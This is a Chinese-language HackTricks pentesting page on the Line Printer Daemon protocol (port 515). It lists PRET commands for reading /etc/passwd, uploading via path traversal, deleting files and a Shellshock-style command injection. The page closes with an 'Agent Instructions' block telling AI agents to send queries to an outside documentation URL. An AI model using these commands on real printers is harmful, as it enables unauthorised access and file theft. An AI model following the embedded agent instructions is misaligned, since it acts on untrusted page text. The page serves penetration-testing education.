# 515 - Pentesting Line Printer Daemon (LPD)

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

#### **LPD协议简介**

在20世纪80年代，**Line Printer Daemon (LPD)协议**在伯克利Unix中开发，后来通过RFC1179正式规范化。该协议通过端口515/tcp运行，允许通过`lpr`命令进行交互。通过LPD打印的本质涉及发送一个**控制文件**（用于指定作业详细信息和用户）以及一个**数据文件**（保存打印信息）。虽然控制文件允许选择**各种文件格式**用于数据文件，但这些文件的处理取决于特定的LPD实现。Unix-like系统中一个广泛认可的实现是**LPRng**。值得注意的是，LPD协议可以被利用来执行**恶意PostScript**或**PJL打印作业**。

#### **与LPD打印机交互的工具**

[**PRET**](https://github.com/RUB-NDS/PRET)引入了两个基本工具，`lpdprint`和`lpdtest`，提供了一种与兼容LPD的打印机进行交互的简单方法。这些工具使得从打印数据到操作打印机上的文件（如下载、上传或删除）等一系列操作成为可能。

```python
# To print a file to an LPD printer
lpdprint.py hostname filename
# To get a file from the printer
lpdtest.py hostname get /etc/passwd
# To upload a file to the printer
lpdtest.py hostname put ../../etc/passwd
# To remove a file from the printer
lpdtest.py hostname rm /some/file/on/printer
# To execute a command injection on the printer
lpdtest.py hostname in '() {:;}; ping -c1 1.2.3.4'
# To send a mail through the printer
lpdtest.py hostname mail lpdtest@mailhost.local
```

## Shodan

* `端口 515`

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://hacktricks.xsx.tw/network-services-pentesting/515-pentesting-line-printer-daemon-lpd.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.